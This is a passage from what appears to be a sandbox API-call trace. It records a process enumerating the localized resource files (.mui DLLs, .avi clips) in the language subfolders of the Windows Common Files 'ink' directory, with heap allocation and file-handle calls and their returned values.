ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0165.528] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0165.528] GetProcessHeap () returned 0x6a0000 [0165.528] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3724538 | out: hHeap=0x6a0000) returned 1 [0165.528] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0165.528] GetProcessHeap () returned 0x6a0000 [0165.528] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3724538 [0165.528] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0165.532] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.532] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0165.532] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0165.532] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0165.532] GetProcessHeap () returned 0x6a0000 [0165.532] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3724538 | out: hHeap=0x6a0000) returned 1 [0165.532] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0165.532] GetProcessHeap () returned 0x6a0000 [0165.532] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3724538 [0165.532] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0165.533] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.533] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0165.533] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0165.533] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0165.533] GetProcessHeap () returned 0x6a0000 [0165.533] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3724538 | out: hHeap=0x6a0000) returned 1 [0165.533] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0165.533] GetProcessHeap () returned 0x6a0000 [0165.533] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3724538 [0165.533] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0165.548] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.548] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0165.548] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0165.548] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0165.548] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0165.549] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0165.549] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0165.549] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0165.549] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0165.549] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1 [0165.549] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0165.549] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0165.549] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0165.549] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0165.550] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0165.550] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0165.550] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0165.550] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0165.550] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0165.550] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0165.550] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0165.550] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0165.550] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0165.551] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0165.551] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0165.551] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0165.551] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0165.552] GetProcessHeap () returned 0x6a0000 [0165.552] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3724538 | out: hHeap=0x6a0000) returned 1 [0165.552] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0165.552] GetProcessHeap () returned 0x6a0000 [0165.552] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3724538 [0165.552] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0165.552] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.552] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0165.552] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0165.552] FindClose (in: hFindFile=0x37225c8 